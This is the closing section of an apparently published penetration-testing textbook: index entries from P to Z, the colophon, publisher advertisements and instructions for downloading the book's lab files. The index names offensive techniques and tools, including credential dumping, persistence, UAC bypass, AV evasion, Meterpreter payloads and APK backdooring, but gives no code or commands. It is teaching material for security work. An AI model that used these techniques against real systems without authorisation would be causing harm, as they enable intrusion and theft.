listing in Msfvenom, 104
in Msfcli, 102–103
serving, 105
setting manually, 99–101
for structured exception handler
overwrite, 418–419
payment terms, 3
PBKDF2 hashing algorithm, 352
PDF (Portable Document Format)
software, exploitation with,
225–235
penetration testing
basics, 1–2
data, tracking, 125–126
stages, 2–6
Penetration Testing Execution Standard
(PTES), 2
Perl scripting language
for creating argument string, 376
string generation by, 372
persistence, 309–311
persistence script (Meterpreter), 310–311
personal connection process, in WPA/
WPA2, 351
phishing attack, 244
via email, automating, 253
phpMyAdmin, 149–150
exploitation, 186–188
ping command, 17, 38
limiting number of times, 78
stopping, 39
ping sweep, script for, 76
pipe (|), 65
pivoting, 304–308
through mobile devices, 466–470
Socks4a and ProxyChains, 307–308
plaintext
converting hashes to, 203
for credentials, 174
dumping passwords with Windows
Credential Editor, 213–214
PMK (pairwise master key) in WPA/
WPA2, 352
POP instruction, 363, 411–412
reliance on location, 440
488 Index
port 4444, 98
port scanning, 123–131
manual, 124
in Metasploit, 306
with Nmap, 125–131, 467–468
with Python script, 82
Portable Document Format (PDF)
software, exploitation with,
225–235
porting public exploits, 427–432
ports, 69, 95
default, for Simple Mail Transfer
Protocol (SMTP), 124
exploring, 151–152
Netcat for connecting to, 152
Nmap port scanning for specific,
130–131
post-exploitation phase of penetration
testing, 2, 4–5, 277–311
gathering credentials, 292–294
keylogging, 292
lateral movement, 296–304
local information gathering, 291–296
local privilege escalation, 283–291
Metasploit modules, 281–283
Meterpreter for, 278–280
mobile, 463–471
modules, 281–283
persistence in, 309–311
pivoting, 304–308
PostgreSQL database, 88
post/windows/gather/enum_logged_on_users
module, 282
post/windows/gather/hashdump
module, 298
Powershell, in Windows 7, 329
pre-engagement phase of penetration
testing, 2–4
print command
Perl, 372
Python, 83
printf function, 84
private SSH keys, 194
privilege escalation, in mobile devices,
470–471
privileged commands, running, 59
PRNG (pseudorandom number
generator), 267, 345
processes, 67
Immunity Debugger and paused,
381–382
programming, 75–85. See also Bash
scripts; Python
breakpoints in, 368
C programs, 84–85
Ruby, for Metasploit modules, 432
proprietary data, loss of, 2
protocol analyzer. See also Wireshark
ProxyChains, 307–308
ps aux command, 290
ps command (Meterpreter), 67, 295
PSExec technique, 296–297, 298
pseudorandom number generator
(PRNG), 267, 345
PTES (Penetration Testing Execution
Standard), 2
PTK (pairwise transient key), 352
public exploits
porting, 427–432
risks of working with, 142
public SSH key, 194
publisher, trusted vs. unknown, 235
PUSH ESP instruction, 393
PUSH instruction, 363, 411
pwd command, 56
Python, 81
connecting to a port, 83
Ctypes library, 271
if statements, 83
installing, 46
porting exploit, 436
variables in, 82
VirtualAlloc injection, 271
Python-generated executables, creating
encrypted with Veil-Evasion,
270–274
Q
QR (quick response) codes, 447
query, Wireshark capture of, 166
R
RADIUS (Remote Authentication
Dial-In User Service)
server, 351
Radmin Viewer program, trojan
and, 259
radmin.exe binary, embedding payload
inside, 259
Railgun, 283
rainbow tables, 213
random variable, 267
randomize_va_space, 364–365
rand_text_english function (Metasploit),
435, 438
Rapid7, 87
raw_input function (Python), 82
RC4 (Rivest Cipher 4) stream
cipher, 343
Rcrack tool, 213
read (r) permissions, 62
Ready to Create Virtual Machine
dialog, 30
redirecting input, > symbol for, 61
reflective DLL injection, 181
reflective XSS attacks, 329
checking for vulnerability, 330
registers
in Intel-based CPU, 362–363
jumping to, 392
relative path, 56
remote attacks, 453–454
Remote Authentication Dial-In
User Service (RADIUS)
server, 351
remote control
of mobile devices, 465–466
USSD, 456–457
remote file inclusion, for web
application testing, 327
remote system
logging into, 298
pinging, 76
removing files, 60
reporting phase of penetration testing,
2, 5–6
researching vulnerabilities, 142
resource exhaustion attack, 471
RET instruction, 411–412
reliance on location, 440
return address, 363
finding, 429–430
using from executable module, 394
return statement (C), 85
return-oriented programming
(ROP), 441
rev2self command (Meterpreter), 284
reverse shells, 71, 98–99, 180
reverse_https_proxy payload
(Meterpreter), 218
RHOST option, for Metasploit module,
94–95
risk profile, 5
risks of public exploit code, 88
Index 489
Rivest Cipher 4 (RC4) stream
cipher, 343
rm file command, 60
rockyou.txt.gz file, 200
root privileges, 56, 194, 287–291
[email protected]# prompt, 56
ROP (return-oriented
programming), 441
route command (Metasploit), 68,
305–306
router, for wireless traffic, 339
RPORT option, for Metasploit module, 95
RtlMovememory API, 271
Ruby, for Metasploit modules, 432
run migrate command (Meterpreter), 280
running processes, viewing, 67
S
SafeSEH, 412–416
SAM (Security Accounts Manager) file
downloading, 189
recovering password hashes from,
204–206
Samdump2, 205
saving
passwords, 293
text to file, 61
SCADA systems, 131
scanner/portscan/tcp module, 306
scanning
legality of, 124
with w3af, 335–337
web application, 148–151
scope of pentest, 3
scripts. See also Bash scripts; Python
running automatically, 72
running in Meterpreter, 223
running on target web server, 183
search command (Meterpreter),
291–292
searching
Metasploit auxiliary module and
exploit database, 91
for text, 63
searchsploit utility, 288
Secure Socket Layer (SSL) attacks,
170–172
stripping attacks, 173–174
Security Accounts Manager file. See
SAM (Security Accounts
Manager) file
490 Index
security updates, turning off
automatic, 34
SecurityFocus.com, 88, 380, 427
sed command, 65
to delete final character from each
line, 81
SEH chain, 401
viewing, 402
SEH overwrites. See structured
exception handler
overwrites
SEH registration record, 401
Select Guest Operating system
dialog, 29
self-signed SSL certificates, social
engineering tests with, 173
sensitive files, downloading, 188–189
service command, 67
services, 67
session, bringing to foreground, 283
SET (Social-Engineer Toolkit), 235,
244–245
spear-phishing attacks, 245–250
set payload command (Metasploit), 99
setoolkit command, 245
shell command, for dropping out of
Meterpreter, 287
shell scripts, 75
shellcode
Msfvenom for generating, 273–274,
428
replacing, 430
shellcode variable, in custom C code, 267
shells, 395–400
closing, 100
types of, 98–99
shikata_ga_nai encoder, 264
short jump assembly instruction,
416–417
show advanced command
(Metasploit), 223
show options command (Metasploit), 94,
96, 99
show payloads command (Metasploit),
96–97, 180, 190–191,
216–218
show targets command (Metasploit),
95–96, 234
signatures
for antivirus applications, 438
for apps, 462
signed Java Applet, 233–235
Simple Mail Transfer Protocol (SMTP),
default port for, 124
skins in Winamp, malicious code in,
239–240
slash (/), as delimiter character in
sed, 65
SLMail 5.5, downloading and
installing, 41–42
Smartphone Pentest Framework (SPF),
445, 447–452
Android emulators, 449
attaching app, 452
attaching to deployed agent,
460–461
attaching mobile modem, 449
backdooring APKs, 461–464
building Andoid app, 449–450
creating malicious agents, 458–463
downloading and installing, 27–28
running exploit through agent, 468
setting up, 447–449
starting, 448
SMB capture, 302–304
SMBPIPE option, for Metasploit
module, 95
SMS, for spam and phishing attacks, 446
SMTP (Simple Mail Transfer Protocol),
default port for, 124
Social-Engineer Toolkit (SET), 235,
244–245
spear-phishing attacks, 245–250
social engineering, 243–255
mass email attacks, 253–255
multipronged attacks, 255
tests, with self-signed SSL
certificates, 173
web attacks, 250–252
socket library, 82
Socks4a, 307–308
software
installing vulnerable, 40–47
investigating running, for
vulnerabilities, 295
user account for, 58
versions in banners, 124
source code, backdooring, 458–461
spear-phishing attacks, 245–250
choosing a payload, 246–247
listener setup, 249–250
naming malicious file, 247
setting options, 247
setting target, 248–249
single vs. mass email, 247–248
template for, 248
special characters, avoiding for
payload, 396
Specify Disk Capacity dialog, 30
SPF. See Smartphone Pentest
Framework (SPF)
SQL commands, executing, 186
SQL injection, 319–322
SQLMap, 321–322
SRVHOST option, 220
SSH, default root password, 453
.ssh directory, 194
vulnerability from access, 145–146
SSH Exec, 299–300
SSH key pair, generating, 195
ssh-add command, 195
ssh-keygen command, 195
SSL (Secure Socket Layer) attacks,
170–172
stripping attacks, 173–174
SSL certificate, warning of invalid, 19
SSLstrip, 173–174
stack, 362, 363
following ESP register on, 408–409
as last-in, first-out (LIFO)
structure, 411
stack-based buffer overflow in Linux,
361–378
C program vulnerable to, 365–366
causing crash, 366–367, 372–373
EIP register control, 373–375
hijacking execution, 375–376
stack-based buffer overflow in
Windows, 379–400
causing crash, 382–384
getting shell, 395–400
hijacking execution, 390–395
locating EIP register, 384–388
searching for known vulnerability
in War-FTP, 380–382
stack buffer, 379
stack cookies, 439–440
staged payloads, 181
static analysis, 260
static IP address
setting, 38–39, 68–69
for Windows 7 target machine, 51
stdio library (C), 84
stealing stored credentials, 294
stopping keylogger, 292
stored XSS attacks, 329
Index 491
strategic road map, 6
strcpy function, 366–367, 422
string, generating with Perl script, 372
strong passwords, 198
structured exception handler (SEH)
overwrites, 401–419
choosing payload, 418–419
exploits, 403–407
finding attack string in memory,
408–411
replacing with POP POP RET, 414, 415
SafeSEH, 412–416
short jump assembly instruction,
416–417
structured exception handler, passing
control to, 407–408
su command, 59–60
sudo command, 59
sudoers file, 59
superuser (root) prompt, 16
switches, and traffic capture, 156
SYN scan, 125–127
Syskey utility, encryption key for,
189, 205
system() command (PHP), 186
system password hashes, 194
system privileges, session running
with, 297
T
Tabnabbing Attack Method, 251
target virtual machines, 28–29. See also
Windows 7 target machine,
Windows XP target machine,
Ubuntu 8.10 target machine
TCP connection
creating socket, 82
Netcat tool for, 69–72
three-way handshake, 125
TCP scan, 127
TCP stream, Wireshark for
following, 159
technical report, 6
Temporal Key Integrity Protocol
(TKIP), 350
Tenable Security, Nessus, 17, 134–142
testing window, 3
text
adding to file, 61
searching for, 63, 65
text messages, mobile hacking with, 446
text segment of memory, 362
492 Index
TFTP (Trivial FTP) server
downloading file with, 187–188
fuzzing program, 424–426
packet, 435
packet format, 423
writing to file, 438
Thawte (certificate authority), 171
theHarvester (Python tool), 118–119
then statement, in Bash scripts, 78
third-party software, exploiting buffer
overflow in, 190–191
third-party web applications,
exploitation, 191–193
threat-modeling phase of penetration
testing, 2, 4
TikiWiki CMS software, 191–192
TKIP (Temporal Key Integrity
Protocol), 350
TLS (Transport Layer Security)
encryption, 181
/tmp/run file (Linux), adding code to,
290–291
token impersonation, 300–301
touch command, 60
tr utility (Linux), 267
training employees, about social
engineering, 244
Transport Layer Security (TLS)
encryption, 181
Trivial FTP server. See TFTP (Trivial
FTP) server
trojans, 258–259
MD5 hash to check for, 260
TrustedSec, Social-Engineer
Toolkit, 244
two-factor authentication, 198
U
UAC (user account control), 285–287
Ubuntu 8.10 target machine, 28. See
also Linux
setup, 48
udev (device manager for Linux), 288
UDP scans, 128–130, 295
UDP socket, setting up, 435
uname command, 287
unstructured supplementary service
data (USSD), 456–457
upload command (Meterpreter), 279
uploading, Msfvenom payload,
183–185
URIPATH option, 221
user account control (UAC), 285–287
user accounts
adding, 58–59
adding, persistence and, 309
adding to sudoers file, 59
creating in Windows, 35, 48–49
in Linux, 58
for logging in to FTP, 165
switching, 59–60
user lists, 199
user password. See passwords
user privileges, 58–61
USER32.dll, 429–430
usernames
finding, 118
finding valid, 153
guessing with Hydra, 202–203
users. See also social engineering
downloading payload by, 105
enticing to download and install
Android agent, 460
listing all local, 294
logging keystrokes by, 292
sending messages to contacts, 465
/usr/share/exploitdb/platforms/linux/
local/8572.c exploit, 288–289
/usr/share/metasploit-framework/modules/
post/windows/gather/
credentials module, 292
USSD (unstructured supplementary
service data), 456–457
V
variables, in Python, 82
Veil-Evasion, 270–274
available payloads, 272
installing, 21
Python VirtualAlloc in, 273
VeriSign (certificate authority), 171
version scan, 127–128
Very Secure FTP (Vsftpd) 2.3.4,
133–134, 193–194, 258
vi (file editor), 62
editing file, 63
virtual lab setup, 9–54
installing VMware, 9–10
installing vulnerable software,
40–47
Kali Linux setup, 10–28
target virtual machines, 28–29
Ubuntu 8.10 target machine, 48
Windows 7 target machine, 48–54
Windows XP target machine,
29–40
Virtual Machine Settings dialog, 15
virtual machines
configuring network for, 13–17
connecting to network, 16–17
to delay booting, 207
target, 28–29
virtual networks, and traffic
capture, 156
VirtualAlloc injection method, 271
VirusTotal, 262–263
results for encoded binary, 265
VMware, installing, 9–10
VMware Fusion (Mac OS), 10, 16, 31–32
installing VMware Tools for, 36
VMware Player (Windows), 9–10,
14–15, 35–36
installing Windows XP on, 29–31
VMware Tools
installing on Windows XP target
machine, 35–36
installing on Windows 7 target
machine, 48, 50
VMware Workstation, 10
.vmx configuration file, 207
VRFY SMTP command, 153
Vsftpd (Very Secure FTP) 2.3.4,
133–134, 193–194, 258
vulnerabilities, 133–153
in Java, 230–233
manual analysis, 151–153
researching, 142
searching for known, in War-FTP,
380–382
web application scanning, 148–151
vulnerability analysis phase of
penetration testing, 2, 4
vulnerability repository, 149
vulnerability scanners
Nessus Home, 17
reasons to use, 141
vulnerable software, installing, 40–47
W
w3af (Web Application Attack and
Audit Framework), 335–337
War-FTP
crashing, 397–398, 403
downloading and installing, 46
Python exploit to crash, 383
Index 493
War-FTP (continued)
searching for known vulnerability
in, 380–382
USER buffer overflow, 439
warning, for PDF embedded
executable, 229
Warning: system() [function.system]:
Cannot execute a blank
command in... message, 187
WCE (Windows Credential Editor),
213–214
Web Application Attack and Audit
Framework (w3af), 335–337
web application testing, 313–337
with Burp Proxy, 314–319
command execution, 327–329
cross-site request forgery, 335
cross-site scripting (XSS), 329–335
local file inclusion, 324–327
remote file inclusion, 327
scanning with w3af, 335–337
signing up for account, 317–318
SQL injection, 319–322
XPath injection, 323–324
web applications
access to server-side source
code, 326
third-party, exploitation, 191–193
vulnerability scanning, 148–151
web browsers. See browsers
web server
copying app to, 451
running script on target, 183
web server software, system privileges
and, 185
WebDAV (Web Distributed Authoring
and Versioning)
software, 150
exploiting default credentials,
182–183
WebEx, Java for, 241
WebKit package, attacking, 454–456
websites, for wordlists, 200
WEP. See wired equivalent
privacy (WEP)
wget command, 289
whoami command, 71, 291
whois lookups, 115–116
Wi-Fi protected access (WPA), 350
Wi-Fi Protected Setup (WPS), 356–357
Wifite tool, 350, 356
494 Index
Winamp
installing, 52
replacing configuration file for,
237–239
Windows
APIs, Railgun for accessing, 283
clipboard, stealing data from, 334
firewall
and response to ping, 51
turning off, 37
Security Accounts Manager
(SAM) file
downloading, 189
recovering password hashes
from, 204–206
Service Control Manager, remote
procedure call (RPC), 296
Syskey utility, 189
VMware Player, 9–10, 14–15
Windows 7 target machine, 48–54
adding second network interface, 52
bypassing UAC on, 285–287
creating user account, 48–49
dumping hashes with physical
attack, 206–207
installing additional software,
52–54
opting out of automatic updates, 50
Powershell in, 329
turning off real-time protection, 53
Windows 2000, LM hashes storage, 211
Windows Credential Editor (WCE),
213–214
Windows XP target machine, 28
activating, 34
creating, 29–40
installing, 32–35
LM hashes storage, 211
local privilege escalation, 284–285
Nessus detection of
vulnerabilities, 139
setup to behave as member of
Windows domain, 39–40
windows/local/bypassuac exploit, 286
windows/meterpreter/bind_tcp payload, 307
windows/meterpreter/reverse_tcp payload,
247, 265, 273–274
windows/smb/ms08_067_netapi
module, 306
WinSCP, 292–294
downloading and installing, 46
wired equivalent privacy (WEP),
343–350
challenges, 350
cracking keys with Aircrack-ng,
347–350
weaknesses, 346
wireless attacks, 339–357
capturing packets, 342–343
scanning for access points, 341
setup, 339–341
viewing available interfaces,
340–341
Wi-Fi protected access, 350
Wi-Fi Protected Setup (WPS),
356–357
wired equivalent privacy (WEP),
343–350
WPA2, 351–356
wireless network
monitor mode, 341–342
open, 343
Wireshark, 156–160
capturing traffic, 156–158
dissecting packets, 160
filtering traffic, 158–159
following TCP stream, 159
for viewing WPA2 handshake, 355
wordlists for passwords, 199–201
Workgroup settings, for Windows XP, 33
WPA (Wi-Fi protected access), 350
WPA2, 351–356
cracking keys, 353–356
dictionary attack against, 356
enterprise connection process, 351
four-way handshake, 352–353
personal connection process, 351
WPS (Wi-Fi Protected Setup), 356–357
write (w) permissions, 62
X
command (GDB), 369
XAMPP
Apache, default install location, 186
attacking, 149–150
default credentials, 150–151
default login credentials for
WebDav, 182
installing, 43–45
starting control panel, 43
XML
attacks on, 323–324
usernames and passwords in, 326
Xpath, 320
injection, 323–324
xp_cmdshell() function, 188
xp_cmdshell stored procedure, 322
xphashes.txt file, 210
XSS (cross-site scripting), 329–335
checking for reflective
vulnerability, 330
leveraging with BeEF, 331–335
x/16xw $esp
Z
zero-day vulnerability, 220, 240
Zervit server, 40–41
crashes from Nmap scan, 130, 131
zone transfers, DNS, 117–118
Index 495
Penetration Testing is set in New Baskerville,­TheSansMono Condensed,
Futura, and Dogma. The book was printed and bound by Sheridan Books,
Inc. in Chelsea, Michigan. The paper is 60# Finch Offset, which is certified
by the Forest Stewardship Council (FSC).
The book uses a layflat binding, in which the pages are bound together
with a cold-set, flexible glue and the first and last pages of the resulting
book block are attached to the cover. The cover is not actually glued to the
book’s spine, and when open, the book lies flat and the spine doesn’t crack.
Updates
Visit http://nostarch.com/pentesting/ for updates, errata, and other
information.
More no-nonsense books from
Android Security Internals
An In-Depth Guide to Android’s
Security Architecture
by nikolay elenkov
september 2014, 384 pp., $49.95
isbn 978-1-59327-581-5
Metasploit
The Penetration Tester’s Guide
by david kennedy, jim o’gorman,
devon kearns, and mati aharoni
july 2011, 328 pp., $49.95
isbn 978-1-59327-288-3
No Starch Press
The Practice of Network
Security Monitoring
Understanding Incident Detection
and Response
by richard bejtlich
july 2013, 376 pp., $49.95
isbn 978-1-59327-509-9
Practical Packet Analysis,
2nd Edition
Using Wireshark to Solve
Real-World Network Problems
by chris sanders
july 2011, 280 pp., $49.95
isbn 978-1-59327-266-1
phone:
800.420.7240 or
415.863.9900
Practical Malware Analysis
The Hands-On Guide to Dissecting
Malicious Software
by michael sikorski and
andrew honig
february 2012, 800 pp., $59.95
isbn 978-1-59327-290-6
Hacking, 2nd Edition
The Art of Exploitation
by jon erickson
february 2008, 488 pp. w/cd, $49.95
isbn 978-1-59327-144-2
email:
sales @ nostarch.com
web:
www.nostarch.com
Downloading the Software to Build Your Virtual Lab
You’ll find links for the resources used in this book at http://www.nostarch.com/
pentesting/, including the custom web application, the Ubuntu target, and
the Kali Linux virtual machine. Use the password 1stPentestBook?! to open the
7-Zip archive containing the book’s resources.
You can find 7-Zip programs for Windows and Linux platforms at http://
www.7-zip.org/download.html. Mac users can use Ez7z from http://ez7z​.en.softonic​
.com/mac/.
If you’re unable to download the files or you’d just like them delivered
to your doorstep, we’ll send you a DVD containing the files for US $10.
Visit http://www.nostarch.com/pentesting/ for details.
You’ll find additional resources at Georgia Weidman’s website: http://
bulbsecurity.com/.
Was this manual useful for you? yes no
Thank you for your participation!

* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project

Download PDF

advertisement